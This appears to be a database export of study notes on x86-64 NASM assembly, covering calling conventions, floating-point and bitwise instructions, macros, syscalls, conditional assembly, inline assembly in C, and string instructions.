rax\nmov rbx, text\nmov rcx, length\nxor r12, r12 ; to store index text txt 2024-07-28 09:56:48.655165 -397 100 store_loop:\n; push sequence to stack\nmov al, byte [rbx+r12]\npush rax\ninc r12\nloop store_loop text txt 2024-07-28 09:56:48.676096 -398 100 xor rax, rax\nmov rbx, text\nmov rcx, length\nxor r12, r12 text txt 2024-07-28 09:56:48.697615 -399 100 reverse_loop:\n; pop sequence from stack\npop rax\nmov byte [rbx+r12], al\ninc r12\nloop reverse_loop\nmov byte [rbx+r12], 0 text txt 2024-07-28 09:56:48.718646 -400 100 ; print reversed string\nmov rax, 1\nmov rdi, 1\nmov rsi, text\nmov rdx, length\nsyscall text txt 2024-07-28 09:56:48.739526 -401 100 mov rsp, rbp\npop rbp text txt 2024-07-28 09:56:48.762305 -402 100 xor rax, rax\nret code txt 2024-07-28 09:56:48.785413 -403 101 * A single-precision number is 32 bits, 1 sign bit, 8 exponent bits, and 23 fraction bits. text txt 2024-07-28 09:56:49.199568 -404 101 S EEEEEEEE FFFFFFFFFFFFFFFFFFFFFFF\n0 1 8 9 31 code txt 2024-07-28 09:56:49.220333 -405 101 * A double-precision number is 64 bits, 1 sign bit, 11 exponent bits, and 52 fraction bits. text txt 2024-07-28 09:56:49.240998 -406 101 ```\nS EEEEEEEEEEE FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n0 1 11 12 63\n``` text txt 2024-07-28 09:56:49.260629 -407 102 * Single precision floating point arithmetic instructions are postfixed with ss\n* Double precision floating point arithmetic instructions are postfixed with sd text txt 2024-07-28 09:56:50.46432 -408 102 extern printf text txt 2024-07-28 09:56:50.48458 -409 102 section .data\nnumber1 dq 9.0\nnumber2 dq 73.0\nfmt db "%f %f", 10, 0 text txt 2024-07-28 09:56:50.5077 -410 102 section .text\nglobal main text txt 2024-07-28 09:56:50.528223 -411 102 main:\npush rbp\nmov rbp, rsp text txt 2024-07-28 09:56:50.548803 -412 102 ; print floating-point numbers\nmovsd xmm0, [number1]\nmovsd xmm1, [number2]\nmov rax, 2 ; two floats\nmov rdi, fmt\ncall printf text txt 2024-07-28 09:56:50.569775 -413 102 ; sum floating-point numbers\nmovsd xmm0, [number1]\naddsd xmm0, [number2] text txt 2024-07-28 09:56:50.591878 -414 102 ; difference\nmovsd xmm0, [number1]\nsubsd xmm0, [number2] text txt 2024-07-28 09:56:50.612488 -415 102 ; multiplication\nmovsd xmm0, [number1]\nmulsd xmm0, [number2] text txt 2024-07-28 09:56:50.633856 -416 102 ; division\nmovsd xmm0, [number1]\ndivsd xmm0, [number2] text txt 2024-07-28 09:56:50.654436 -417 102 ; square root\nsqrtsd xmm0, [number1] text txt 2024-07-28 09:56:50.675058 -418 102 mov rsp, rbp\npop rbp text txt 2024-07-28 09:56:50.695756 -419 102 xor rax, rax\nret code txt 2024-07-28 09:56:50.717081 -420 103 section .text\n global main text txt 2024-07-28 09:56:51.15513 -421 103 main:\n push rbp\n mov rbp, rsp text txt 2024-07-28 09:56:51.17673 -422 103 leave\n ret code txt 2024-07-28 09:56:51.197979 -423 104 section .data\n radius dq 10.0\n pi dq 3.14 text txt 2024-07-28 09:56:52.025799 -424 104 section .text\n global main text txt 2024-07-28 09:56:52.04843 -425 104 main:\n push rbp\n mov rbp, rsp text txt 2024-07-28 09:56:52.069826 -426 104 call area\n movsd xmm1, [radius] text txt 2024-07-28 09:56:52.092517 -427 104 xor rax, rax\n leave\n ret text txt 2024-07-28 09:56:52.11346 -428 104 area:\n push rbp\n mov rbp, rsp text txt 2024-07-28 09:56:52.13425 -429 104 movsd xmm0, [radius]\n mulsd xmm0, [radius]\n mulsd xmm0, [pi] text txt 2024-07-28 09:56:52.155045 -430 104 xor rax, rax\n leave\n ret code txt 2024-07-28 09:56:52.177184 -431 105 * Use `xmm0` register for floating-point values and `rax` register for other values. text txt 2024-07-28 09:56:53.172067 -432 105 section .data\nval dq 0 text txt 2024-07-28 09:56:53.192852 -433 105 section .text\nglobal main text txt 2024-07-28 09:56:53.213007 -434 105 main:\npush rbp\nmov rbp, rsp text txt 2024-07-28 09:56:53.234107 -435 105 call fail_func\nxor rax, rax text txt 2024-07-28 09:56:53.254739 -436 105 call success_func\nxor rax, rax text txt 2024-07-28 09:56:53.274838 -437 105 leave\nret text txt 2024-07-28 09:56:53.295495 -438 105 fail_func:\npush rbp\nmov rbp, rsp text txt 2024-07-28 09:56:53.317273 -439 105 mov rax, 1 text txt 2024-07-28 09:56:53.337053 -440 105 leave\nret text txt 2024-07-28 09:56:53.358708 -441 105 success_func:\npush rbp\nmov rbp, rsp text txt 2024-07-28 09:56:53.380616 -442 105 mov rax, 0 text txt 2024-07-28 09:56:53.400592 -443 105 leave\nret code txt 2024-07-28 09:56:53.420496 -444 106 extern printf text txt 2024-07-28 09:56:54.584879 -445 106 section .data\nradius dq 10.0 text txt 2024-07-28 09:56:54.60492 -446 106 section .text\nglobal main text txt 2024-07-28 09:56:54.625932 -447 106 main:\npush rbp\nmov rbp, rsp text txt 2024-07-28 09:56:54.64626 -448 106 call area\ncall print text txt 2024-07-28 09:56:54.667271 -449 106 xor rax, rax\nleave\nret text txt 2024-07-28 09:56:54.687486 -450 106 area:\nsection .data\n.pi dq 3.141592 ; local to area text txt 2024-07-28 09:56:54.70835 -451 106 section .text\npush rbp\nmov rbp, rsp text txt 2024-07-28 09:56:54.728761 -452 106 movsd xmm0, [.pi]\nmulsd xmm0, [radius]\nmulsd xmm0, [radius] text txt 2024-07-28 09:56:54.749234 -453 106 leave\nret text txt 2024-07-28 09:56:54.770418 -454 106 print:\nsection .data\n.fmt db "%f", 10, 0 text txt 2024-07-28 09:56:54.791547 -455 106 section .text\npush rbp\nmov rbp, rsp text txt 2024-07-28 09:56:54.812417 -456 106 mov rax, 1\nmov rdi, .fmt\ncall printf text txt 2024-07-28 09:56:54.834063 -457 106 leave\nret code txt 2024-07-28 09:56:54.854308 -458 107 * Each function call results in 8 bytes return address being pushed on the stack.\n* It is necessary to make sure to restore the stack to the appropriate value before we leave a function. text txt 2024-07-28 09:56:55.619827 -459 107 section .text\nglobal main text txt 2024-07-28 09:56:55.640797 -460 107 main:\npush rbp\ncall func1\npop rbp\nret text txt 2024-07-28 09:56:55.66134 -461 107 func1:\npush rbp\ncall func2\npop rbp\nret text txt 2024-07-28 09:56:55.68259 -462 107 func2:\npush rbp\ncall func3\npop rbp\nret text txt 2024-07-28 09:56:55.703164 -463 107 func3:\npush rbp\npop rbp\nret code txt 2024-07-28 09:56:55.723546 -464 108 *arithmetic.asm*\nsection .text\n global sum\n global difference\n global area text txt 2024-07-28 09:56:57.862508 -465 108 sum:\n push rbp\n mov rbp, rsp text txt 2024-07-28 09:56:57.883475 -466 108 mov rax, rdi\n add rax, rsi text txt 2024-07-28 09:56:57.909233 -470 108 mov rsp, rbp\n pop rbp\n ret text txt 2024-07-28 09:56:57.991078 -471 108 area:\n section .data\n .pi dq 3.141592 text txt 2024-07-28 09:56:58.011842 -472 108 section .text\n push rbp\n mov rbp, rsp text txt 2024-07-28 09:56:58.032806 -473 108 movsd xmm1, qword[.pi]\n mulsd xmm0, xmm0\n mulsd xmm0, xmm1 text txt 2024-07-28 09:56:58.053446 -474 108 mov rsp, rbp\n pop rbp\n ret code txt 2024-07-28 09:56:58.073464 -475 108 *main.asm*\nextern sum\nextern difference\nextern area text txt 2024-07-28 09:56:58.094371 -476 108 section .data\n format_integral db "%i", 10, 0\n format_floating db "%f", 10, 0 text txt 2024-07-28 09:56:58.116294 -477 108 section .text\n global main text txt 2024-07-28 09:56:58.137229 -478 108 main:\n push rbp\n mov rbp, rsp text txt 2024-07-28 09:56:58.1581 -479 108 ; use and print the results of sum function\n mov rdi, 1\n mov rsi, 3\n call sum text txt 2024-07-28 09:56:58.178769 -480 108 mov rdi, format_integral\n mov rsi, rax\n xor rax, rax\n call printf text txt 2024-07-28 09:56:58.200808 -481 108 ; use and print the results of difference function\n mov rdi, 7\n mov rsi, 5\n call difference text txt 2024-07-28 09:56:58.223086 -482 108 mov rdi, format_integral\n mov rsi, rax\n xor rax, rax\n call printf text txt 2024-07-28 09:56:58.244373 -483 108 ; use and print the results of area function\n mov xmm0, qword[radius]\n call area text txt 2024-07-28 09:56:58.265634 -484 108 mov rdi, format_floating\n mov rax, 1\n call printf text txt 2024-07-28 09:56:58.287468 -485 108 mov rsp, rbp\n pop rbp\n ret code txt 2024-07-28 09:56:58.307684 -486 109 *header.nasm*\nglobal pi text txt 2024-07-28 09:56:58.819708 -487 109 section .data\n pi dq 3.141592 text txt 2024-07-28 09:56:58.840129 -488 109 section .text\n ... code txt 2024-07-28 09:56:58.861452 -489 109 *main.nasm*>\nextern pi text txt 2024-07-28 09:56:58.88195 -490 109 section .text\n ... code txt 2024-07-28 09:56:58.904125 -491 110 * Following calling conventions are for System V AMD64 ABI:\n* For integral types, registers are `rdi`, `rsi`, `rdx`, `rcx`, `r8`, `r9` respectively, and additional arguments are passed via the stack and in reverse order so that we can pop off in the right order.\n* Function's return address `rip` is pushed on the stack, just after the arguments.\n* In function, then `rbp` is pushed, there maybe another 8 bytes needed to be pushed to align the stack in 16 bytes.\n* For floating point types, registers are `xmm0` to `xmm7`, additional arguments are passed via the stack but not with `push` instruction. Will be discussed later. text txt 2024-07-28 09:57:00.736016 -492 110 section .text\nglobal main text txt 2024-07-28 09:57:00.758648 -493 110 main:\nsection .data\n.first dq 1\n.second dq 2\n.third dq 3\n.forth dq 4\n.fifth dq 5\n.sixth dq 6\n.seventh dq 7\n.eighth dq 8\n.ninth dq 9\n.tenth dq 10 text txt 2024-07-28 09:57:00.779366 -494 110 section .text\npush rbp\nmov rbp, rsp text txt 2024-07-28 09:57:00.799977 -495 110 mov rdi, .first\nmov rsi, .second\nmov rdx, .third\nmov rcx, .forth\nmov r8, .fifth\nmov r9, .sixth\npush .tenth\npush .ninth\npush .eighth\npush .seventh\ncall func text txt 2024-07-28 09:57:00.821713 -496 110 sum:\nsection .text\n; first value on stack\n; 8 bytes rip pushed onto stack\npush rbp ; 8 bytes rbp pushed onto stack\nmov rbp, rsp text txt 2024-07-28 09:57:00.842312 -497 110 xor rax, rax text txt 2024-07-28 09:57:00.862574 -498 110 add rax, rdi\nadd rax, rsi\nadd rax, rdx\nadd rax, rcx\nadd rax, r8\nadd rax, r9 text txt 2024-07-28 09:57:00.882179 -499 110 push rbx ; preserve callee register\nxor rbx, rbx text txt 2024-07-28 09:57:00.903515 -500 110 mov rbx, qword[rbp+16] ; first value on stack: + rip + rbp\nadd rax, rbx ; seventh text txt 2024-07-28 09:57:00.924188 -501 110 mov rbx, qword[rbp+24]\nadd rax, rbx ; eighth text txt 2024-07-28 09:57:00.947083 -502 110 mov rbx, qword[rbp+32]\nadd rax, rbx ; ningth text txt 2024-07-28 09:57:00.968663 -503 110 mov rbx, qword[rbp+40]\nadd rax, rbx ; tenth text txt 2024-07-28 09:57:00.990739 -504 110 pop rbx ; restore callee register text txt 2024-07-28 09:57:01.010844 -505 110 mov rsp, rbp\npop rbp\nret code txt 2024-07-28 09:57:01.031367 -506 111 * `shl` and `sal` shift left but `sal` has sign extension.\n* `shr` and `sar` shift right but `sar` has sign extension. text txt 2024-07-28 09:57:02.393316 -507 111 section .data\nnumber1 db 6 ; 00000110\nnumber2 db 10 ; 00001010 text txt 2024-07-28 09:57:02.413804 -508 111 section .text\nglobal main text txt 2024-07-28 09:57:02.434062 -509 111 main:\npush rbp\nmov rbp, rsp text txt 2024-07-28 09:57:02.454157 -510 111 mov rax, number1\nxor rax, number2 ; 00001100 text txt 2024-07-28 09:57:02.475294 -511 111 mov rax, number1\nor rax, number2 ; 00001110 text txt 2024-07-28 09:57:02.497593 -512 111 mov rax, number1\nand rax, number2 ; 00000010 text txt 2024-07-28 09:57:02.51931 -513 111 mov rax, number1\nnot rax ; 11111001 text txt 2024-07-28 09:57:02.540572 -514 111 mov rax, number1\nshl rax, 5 ; 11000000 text txt 2024-07-28 09:57:02.561441 -515 111 mov rax, number1\nshr rax, 3 ; 00000001 text txt 2024-07-28 09:57:02.581626 -516 111 mov rax, number1\nsal rax, 2 ; 00001100 text txt 2024-07-28 09:57:02.603197 -517 111 mov rax, number1\nsar rax, 2 ; 00000011 text txt 2024-07-28 09:57:02.623122 -518 111 mov rax, number1\nrol rax, 3 ; 00011000 text txt 2024-07-28 09:57:02.643734 -519 111 mov rax, number1\nror rax, 3 ; 10000001 text txt 2024-07-28 09:57:02.664848 -520 111 mov rsp, rbp\npop rbp\nret code txt 2024-07-28 09:57:02.685078 -521 112 section .data\n variable dq 0 text txt 2024-07-28 09:57:03.458595 -522 112 section .text\n global main text txt 2024-07-28 09:57:03.479668 -523 112 main:\n push rbp\n mov rbp, rsp text txt 2024-07-28 09:57:03.500222 -524 112 ; set bit 4\n bts qword [variable], 4 text txt 2024-07-28 09:57:03.521752 -525 112 ; set bit 7\n bts qword [variable], 7 text txt 2024-07-28 09:57:03.543001 -526 112 ; set bit 8\n bts qword [variable], 8 text txt 2024-07-28 09:57:03.564486 -527 112 ; reset bit 7\n btr qword [variable], 7 text txt 2024-07-28 09:57:03.584852 -528 112 xor rax, rax\n leave\n ret code txt 2024-07-28 09:57:03.605189 -529 113 section .data\n variable dq 0 text txt 2024-07-28 09:57:04.287458 -530 113 section .text\n global main text txt 2024-07-28 09:57:04.307549 -531 113 main:\n push rbp\n mov rbp, rsp text txt 2024-07-28 09:57:04.327611 -532 113 ; reset higher memory to use lower memory for comparison\n xor rdi, rdi\n mov rax, 8 text txt 2024-07-28 09:57:04.349108 -533 113 ; check if 8th bit is set by checking carry flag\n ; 1 if bit is set and 0 otherwise\n bt [variable], rax\n setc dil text txt 2024-07-28 09:57:04.370671 -534 113 xor rax, rax\n leave\n ret code txt 2024-07-28 09:57:04.391612 -535 114 extern printf text txt 2024-07-28 09:57:05.369059 -536 114 ; multiply value v by shifting it n times\n%define multiply(v, n) sal v, n text txt 2024-07-28 09:57:05.389998 -602 124 %IF CREATE\n mov rdi, filename\n call create\n mov qword[fd], rax ; save file descriptor\n %ENDIF text txt 2024-07-28 09:57:13.856677 -1258 251 return NULL;\n} code txt 2024-07-28 09:58:53.590739 -537 114 ; having two arguments\n%macro print 2\n section .data\n %%detail db %1, 0\n %%format_string db "%s: %i", 10, 0\n section .text\n xor rax, rax\n mov rdi, %%format_string\n mov rsi, %%detail\n mov rdx, %2\n call printf\n%endmacro text txt 2024-07-28 09:57:05.411541 -538 114 section .data\n number dq 42 text txt 2024-07-28 09:57:05.432328 -539 114 section .text\n global main text txt 2024-07-28 09:57:05.453217 -540 114 main:\n push rbp\n mov rbp, rsp text txt 2024-07-28 09:57:05.474631 -541 114 print "value is", number\n multiply(number, 2)\n print "multiplication result", number text txt 2024-07-28 09:57:05.495211 -542 114 xor rax, rax\n leave\n ret code txt 2024-07-28 09:57:05.515138 -543 115 objdump -M intel -d macro code txt 2024-07-28 09:57:05.75783 -544 116 section .text\nglobal write text txt 2024-07-28 09:57:06.3184 -545 116 ; preconditions:\n; address of string be set to rsi\n; length of string be set to rdx\nwrite:\npush rbp\nmov rbp, rsp text txt 2024-07-28 09:57:06.339983 -546 116 mov rax, 1 ; write system call number\nmov rdi, 1 ; stdout\nsyscall text txt 2024-07-28 09:57:06.362114 -547 116 xor rax, rax\nleave\nret code txt 2024-07-28 09:57:06.38427 -548 117 section .text\nglobal read text txt 2024-07-28 09:57:06.916024 -549 117 ; preconditions:\n; address of buffer be set to rsi\n; length of buffer be set to rdx\nread:\npush rbp\nmov rbp, rsp text txt 2024-07-28 09:57:06.936462 -550 117 mov rax, 0 ; read system call number\nmov rdi, 0 ; stdin text txt 2024-07-28 09:57:06.958587 -551 117 xor rax, rax\nleave\nret code txt 2024-07-28 09:57:06.979413 -552 118 section .text\nglobal read text txt 2024-07-28 09:57:07.939765 -553 118 print:\npush rbp\nmov rbp, rsp text txt 2024-07-28 09:57:07.961054 -554 118 push r12 ; callee saved text txt 2024-07-28 09:57:07.981741 -555 118 xor rdx, rdx ; character counter\nmov r12, rdi ; string address text txt 2024-07-28 09:57:08.002686 -556 118 .counter:\ncmp byte[r12], 0\nje .print text txt 2024-07-28 09:57:08.024761 -557 118 inc rdx\ninc r12\njmp .counter text txt 2024-07-28 09:57:08.045817 -558 118 .print:\ncmp rdx, 0\nje .exit text txt 2024-07-28 09:57:08.068537 -559 118 mov rsi, rdi ; string address\n; rdx holds string length\nmov rax, 1 ; write\nmov rdi, 1 ; stdout\nsyscall text txt 2024-07-28 09:57:08.089896 -560 118 .exit:\npop r12\nxor rax, rax\nleave\nret code txt 2024-07-28 09:57:08.110892 -561 119 section .text\nglobal read text txt 2024-07-28 09:57:09.913383 -562 119 ; \\\\pre rdi address of string placeholder\n; \\\\pre rsi maximum characters to read\n; \\\\post rax error code\nread:\nsection .data\nnewline db 0xa text txt 2024-07-28 09:57:09.93418 -563 119 section .bss\n.buffer resb 1 ; hold 1 character from input text txt 2024-07-28 09:57:09.954173 -564 119 section .text\npush rbp\nmov rbp, rsp text txt 2024-07-28 09:57:09.974742 -565 119 push r12 ; callee saved\npush r13 ; callee saved\npush r14 ; callee saved text txt 2024-07-28 09:57:09.995296 -566 119 mov r12, rdi ; input string address\nmov r13, rsi ; max count\nxor r14, r14 ; character counter text txt 2024-07-28 09:57:10.015684 -567 119 .read:\nmov rax, 0 ; read\nmov rdi, 1 ; stdin\nlea rsi, [.buffer] ; input address\nmov rdx, 1 ; characters to read\nsyscall text txt 2024-07-28 09:57:10.036532 -568 119 mov al, [.buffer] ; check if reached NL\ncmp al, byte[newline]\nje .check_exit text txt 2024-07-28 09:57:10.057601 -569 119 cmp al, 97 ; check if input character is lower than 'a'\njl .read ; ignore this and read next character text txt 2024-07-28 09:57:10.079419 -570 119 cmp al, 122 ; check if input character is greater than 'z'\njg .read ; ignore this and read next character text txt 2024-07-28 09:57:10.099974 -571 119 inc r14 ; increment counter text txt 2024-07-28 09:57:10.121042 -572 119 cmp r14, r13 ; check if number of characters reached maximum\nja .read ; don't put input charater into buffer\n; but keep reading from stdin to read newline text txt 2024-07-28 09:57:10.141948 -573 119 mov byte[r12], al ; put input character into buffer\ninc r12 ; point to next character placeholder in buffer\njmp .read ; read next input character text txt 2024-07-28 09:57:10.16512 -574 119 .check_exit\ncmp r14, 0 ; check if anything was read\nja .exit_success text txt 2024-07-28 09:57:10.186259 -575 119 mov rax, 1 ; return 1 when failed to read anything\njmp .exit text txt 2024-07-28 09:57:10.207331 -576 119 .exit_success\nxor rax, rax ; return 0 when read at least 0 character text txt 2024-07-28 09:57:10.229164 -577 119 .exit\ninc r12 ; counter null character\nmov byte[r12], 0 ; close string by putting null at the end\npop r14 ; restore for callee\npop r13 ; restore for callee\npop r12 ; restore for callee text txt 2024-07-28 09:57:10.251652 -578 119 leave\nret code txt 2024-07-28 09:57:10.272551 -579 120 `/usr/include/asm/unistd_64.h` text txt 2024-07-28 09:57:10.498537 -580 121 `/usr/include/asm-generic/fcntl.h` text txt 2024-07-28 09:57:10.698254 -581 122 By appending `q` to the number. text txt 2024-07-28 09:57:11.0211 -582 122 section .data\n O_CREATE equ 00000100q code txt 2024-07-28 09:57:11.04315 -583 123 section .data\n CONDITION equ 1 text txt 2024-07-28 09:57:11.705559 -584 123 section .text\n global main text txt 2024-07-28 09:57:11.726675 -585 123 main:\n push rbp\n mov rbp, rsp text txt 2024-07-28 09:57:11.74665 -586 123 %IF CONDITION\n xor rdi, rdi\n%ELSE\n mov rdi, 1\n%ENDIF text txt 2024-07-28 09:57:11.767917 -587 123 leave\n ret code txt 2024-07-28 09:57:11.790574 -588 124 section .data\n CREATE equ 1 ; use for conditional assembly\n NR_create equ 85 ; create system call text txt 2024-07-28 09:57:13.558273 -589 124 section .text\n global create text txt 2024-07-28 09:57:13.578947 -590 124 ; \\\\pre rdi address of filename string\n; \\\\post rax error code\ncreate:\n push rbp\n mov rbp, rsp text txt 2024-07-28 09:57:13.59929 -591 124 mov rax, NR_create\n mov rsi, S_IRUSR | S_IWUSR\n syscall text txt 2024-07-28 09:57:13.619928 -592 124 leave\n ret code txt 2024-07-28 09:57:13.64105 -593 124 section .data\n CREATE equ 1 ; use for conditional assembly\n NR_create equ 85 ; create system call text txt 2024-07-28 09:57:13.661517 -594 124 section .text\n global create text txt 2024-07-28 09:57:13.682687 -595 124 ; \\\\pre rdi file descriptor\n; \\\\post rax error code\ncreate:\n push rbp\n mov rbp, rsp text txt 2024-07-28 09:57:13.703883 -596 124 mov rax, NR_create\n mov rsi, S_IRUSR | S_IWUSR\n syscall text txt 2024-07-28 09:57:13.725045 -597 124 leave\n ret code txt 2024-07-28 09:57:13.746086 -598 124 extern create\nextern close text txt 2024-07-28 09:57:13.768933 -599 124 section .text\n global main text txt 2024-07-28 09:57:13.790602 -600 124 main:\n section .data\n fd dq 0 ; to hold file descriptor text txt 2024-07-28 09:57:13.812063 -601 124 section .text\n push rbp\n mov rbp, rsp text txt 2024-07-28 09:57:13.834436 -603 124 %IF CLOSE\n mov rdi, qword[fd] ; file descriptor\n call close\n %ENDIF code txt 2024-07-28 09:57:13.878435 -604 125 section .data\n CREATE equ 1 ; use for conditional assembly text txt 2024-07-28 09:57:15.214442 -605 125 section .text\n global create text txt 2024-07-28 09:57:15.235973 -606 125 create:\n push rbp\n mov rbp, rsp text txt 2024-07-28 09:57:15.25528 -607 125 leave\n ret code txt 2024-07-28 09:57:15.275577 -608 125 extern create\nextern close\nextern write text txt 2024-07-28 09:57:15.296807 -609 125 section .text\n global main text txt 2024-07-28 09:57:15.318807 -610 125 main:\n section .data\n fd dq 0 ; to hold file descriptor text txt 2024-07-28 09:57:15.340349 -611 125 section .text\n push rbp\n mov rbp, rsp text txt 2024-07-28 09:57:15.363865 -612 125 %IF CREATE\n mov rdi, filename\n call create\n mov qword[fd], rax ; save file descriptor\n %ENDIF text txt 2024-07-28 09:57:15.3856 -613 125 %IF WRITE\n mov rdi, qword[fd] ; file descriptor\n mov rsi, text ; address of string\n mov rdx, qword[length] ; length of string\n call write\n %ENDIF text txt 2024-07-28 09:57:15.408332 -614 125 %IF CLOSE\n mov rdi, qword[fd] ; file descriptor\n call close\n %ENDIF code txt 2024-07-28 09:57:15.430053 -615 126 section .data\n CREATE equ 1 ; use for conditional assembly text txt 2024-07-28 09:57:16.78818 -616 126 section .text\n global create text txt 2024-07-28 09:57:16.808868 -617 126 create:\n push rbp\n mov rbp, rsp text txt 2024-07-28 09:57:16.830289 -618 126 leave\n ret code txt 2024-07-28 09:57:16.850679 -619 126 extern create\nextern close\nextern write text txt 2024-07-28 09:57:16.871131 -620 126 section .text\n global main text txt 2024-07-28 09:57:16.893566 -621 126 main:\n section .data\n fd dq 0 ; to hold file descriptor text txt 2024-07-28 09:57:16.913731 -622 126 section .text\n push rbp\n mov rbp, rsp text txt 2024-07-28 09:57:16.933937 -623 126 %IF CREATE\n mov rdi, filename\n call create\n mov qword[fd], rax ; save file descriptor\n %ENDIF text txt 2024-07-28 09:57:16.956512 -624 126 %IF WRITE\n mov rdi, qword[fd] ; file descriptor\n mov rsi, text ; address of string\n mov rdx, qword[length] ; length of string\n call write\n %ENDIF text txt 2024-07-28 09:57:16.97697 -625 126 %IF CLOSE\n mov rdi, qword[fd] ; file descriptor\n call close\n %ENDIF code txt 2024-07-28 09:57:16.998279 -626 127 code txt 2024-07-28 09:57:17.196071 -627 128 code txt 2024-07-28 09:57:17.438187 -628 129 code txt 2024-07-28 09:57:17.67755 -629 130 code txt 2024-07-28 09:57:17.899789 -630 131 code txt 2024-07-28 09:57:18.089625 -631 132 * `rdi`: argc or number of arguments\n* `rsi`: argv or address of array each, cell is an 8bytes of address to an argument string text txt 2024-07-28 09:57:18.344454 -632 133 extern printf text txt 2024-07-28 09:57:19.187646 -633 133 section .data\n fmt db "%s", 10, 0 text txt 2024-07-28 09:57:19.208224 -634 133 section .text\n global main text txt 2024-07-28 09:57:19.229111 -635 133 main:\n push rbp\n mov rbp, rsp text txt 2024-07-28 09:57:19.249354 -636 133 mov r12, rdi\n mov r13, rsi\n xor r14, r14 text txt 2024-07-28 09:57:19.270838 -637 133 .arg:\n mov rdi, fmt\n mov rsi, qword[r13 + r14 * 8]\n call printf text txt 2024-07-28 09:57:19.291561 -638 133 inc r14\n cmp r14, r12\n jl .arg text txt 2024-07-28 09:57:19.312931 -639 133 leave\n ret code txt 2024-07-28 09:57:19.333578 -640 134 info registers rdi rsi rsp\nx/1xg \nx/s
\nx/s
\nx/s
code txt 2024-07-28 09:57:19.641413 -641 135 section .text\n\tglobal sum text txt 2024-07-28 09:57:20.518991 -642 135 sum:\n push rbp\n mov rbp, rsp text txt 2024-07-28 09:57:20.539904 -643 135 mov rax, rdi\n add rax, rsi text txt 2024-07-28 09:57:20.559537 -644 135 leave\n ret code txt 2024-07-28 09:57:20.58008 -645 135 nasm -f elf64 -g -F dwarf sum.asm code txt 2024-07-28 09:57:20.601633 -646 135 #include text txt 2024-07-28 09:57:20.621639 -647 135 extern int sum(int, int); text txt 2024-07-28 09:57:20.643339 -648 135 int main(void)\n{\n int result = sum(4, 2);\n printf("%i\\\\n", result);\n} code txt 2024-07-28 09:57:20.664093 -649 135 gcc -g -o program main.c sum.o\n./program code txt 2024-07-28 09:57:20.68519 -650 136 There are two types of inline assembly: **basic** and **extended**. text txt 2024-07-28 09:57:20.960434 -651 136 Compilers will not optimize assembly parts of the program, so using inline assembly is not advices.\nThere will be no error checking on inline assembly code. text txt 2024-07-28 09:57:20.982393 -652 137 Instructions should be terminated by `;`.\n`-mintel` compiler option is required.\nSwitching to Intel assembly syntax is required as the first argument of `__asm__`. text txt 2024-07-28 09:57:21.479796 -653 137 int main(void)\n{\n __asm__(\n ".intel_syntax noprefix;"\n "xor rax, rax;"\n );\n} code txt 2024-07-28 09:57:21.499739 -654 137 gcc -o program main.c -masm=intel -no-pie code txt 2024-07-28 09:57:21.520803 -655 138 General syntax of extended inline assembly is as follows: text txt 2024-07-28 09:57:22.566474 -656 138 __asm__(\n assembler code\n : output operands\n : input operands\n : list of clobbered registers\n); code txt 2024-07-28 09:57:22.58775 -657 138 * After the assembler code, additional and optional information is used.\n* Instruction orders must be respected. text txt 2024-07-28 09:57:22.608006 -658 138 __asm__(\n ".intel_syntax noprefix;"\n "mov rbx, rdx;"\n "imul rbx, rcx;"\n "mov rax, rbx;"\n :"=a"(eproduct)\n :"d"(x), "c"(y)\n :"rbx"\n); text txt 2024-07-28 09:57:22.628942 -659 138 printf("The extended inline product is %i\\\\n", eproduct); code txt 2024-07-28 09:57:22.650026 -660 138 `a`, `d`, `c` are register constraints, and they map to the registers `rax`, `rdx`, `rcx`, respectively.\n`:"=a"(eproduct)` means that the output will be in `rax`, and `rax` will refer to the variable `eproduct`. Register `rdx` refers to `x`, and `rcx` refers to `y`, which are the input variables.\n`rbx` is considered clobbered in the code and will be restored to its original value, because it was declared in the list of clobbering registers. text txt 2024-07-28 09:57:22.670989 -661 138 a -> rax, eax, ax, al\nb -> rbx, ebx, bx, bl\nc -> rcx, ecx, cx, cl\nd -> rdx, edx, dx, dl\nS -> rsi, esi, si\nD -> rdi, edi, di\nr -> any register code txt 2024-07-28 09:57:22.690885 -662 139 section .data\n length equ 95\n newline db 10 text txt 2024-07-28 09:57:23.530296 -663 139 section .bss\n buffer1 resb length\n buffer2 resb length text txt 2024-07-28 09:57:23.551396 -664 139 section .text\n global main text txt 2024-07-28 09:57:23.57303 -665 139 main:\n push rbp\n mov rbp, rsp text txt 2024-07-28 09:57:23.593429 -666 139 ; fill buffer with ascii letters using simple loop\n mov rax, 32\n mov rdi, buffer1\n mov rcx, length\n.next1:\n mov byte[rdi], al\n inc rdi\n inc al\n loop .next text txt 2024-07-28 09:57:23.614431 -667 139 leave\n ret code txt 2024-07-28 09:57:23.634666 -668 140 section .data\n length equ 95\n newline db 10 text txt 2024-07-28 09:57:24.39787 -669 140 section .bss\n buffer1 resb length\n buffer2 resb length text txt 2024-07-28 09:57:24.418793 -670 140 section .text\n global main text txt 2024-07-28 09:57:24.440732 -671 140 main:\n push rbp\n mov rbp, rsp text txt 2024-07-28 09:57:24.461694 -672 140 ; fill buffer with ascii 0 using loop and stosb instruction\n mov rax, 48\n mov rdi, buffer1\n mov rcx, length\n.next2:\n stosb\n loop .next2 text txt 2024-07-28 09:57:24.481446 -673 140 leave\n ret code txt 2024-07-28 09:57:24.502741 -674 141 section .data\n length equ 95\n newline db 10 text txt 2024-07-28 09:57:25.173615 -675 141 section .bss\n buffer1 resb length\n buffer2 resb length text txt 2024-07-28 09:57:25.194764 -676 141 section .text\n global main text txt 2024-07-28 09:57:25.215501 -677 141 main:\n push rbp\n mov rbp, rsp text txt 2024-07-28 09:57:25.23582 -678 141 ; fill buffer with ascii 1 using rep stosb instruction without a loop\n mov rax, 49\n mov rdi, buffer1\n mov rcx, length\n rep stosb text txt 2024-07-28 09:57:25.257902 -679 141 leave\n ret code txt 2024-07-28 09:57:25.279501 -680 142 section .data\n length equ 95\n newline db 10 text txt 2024-07-28 09:57:26.268586 -681 142 section .bss\n buffer1 resb length\n buffer2 resb length text txt 2024-07-28 09:57:26.289343 -682 142 section .text\n global main text txt 2024-07-28 09:57:26.310517 -683 142 main:\n push rbp\n mov rbp, rsp text txt 2024-07-28 09:57:26.330861 -684 142 ; copy buffer1 to buffer2 without a loop\n mov rsi, buffer1 ; source\n mov rdi, buffer2 ; destination\n mov rcx, length\n rep movsb text txt 2024-07-28 09:57:26.351954 -685 142 ; reverse copy the buffer1 into buffer2 without a loop\n mov rax, 48 ; fill buffer2 with ascii 0\n mov rdi, buffer2 ; we don't increment rdi with stosb\n mov rcx, length ; we don't decrement rcx or loop with 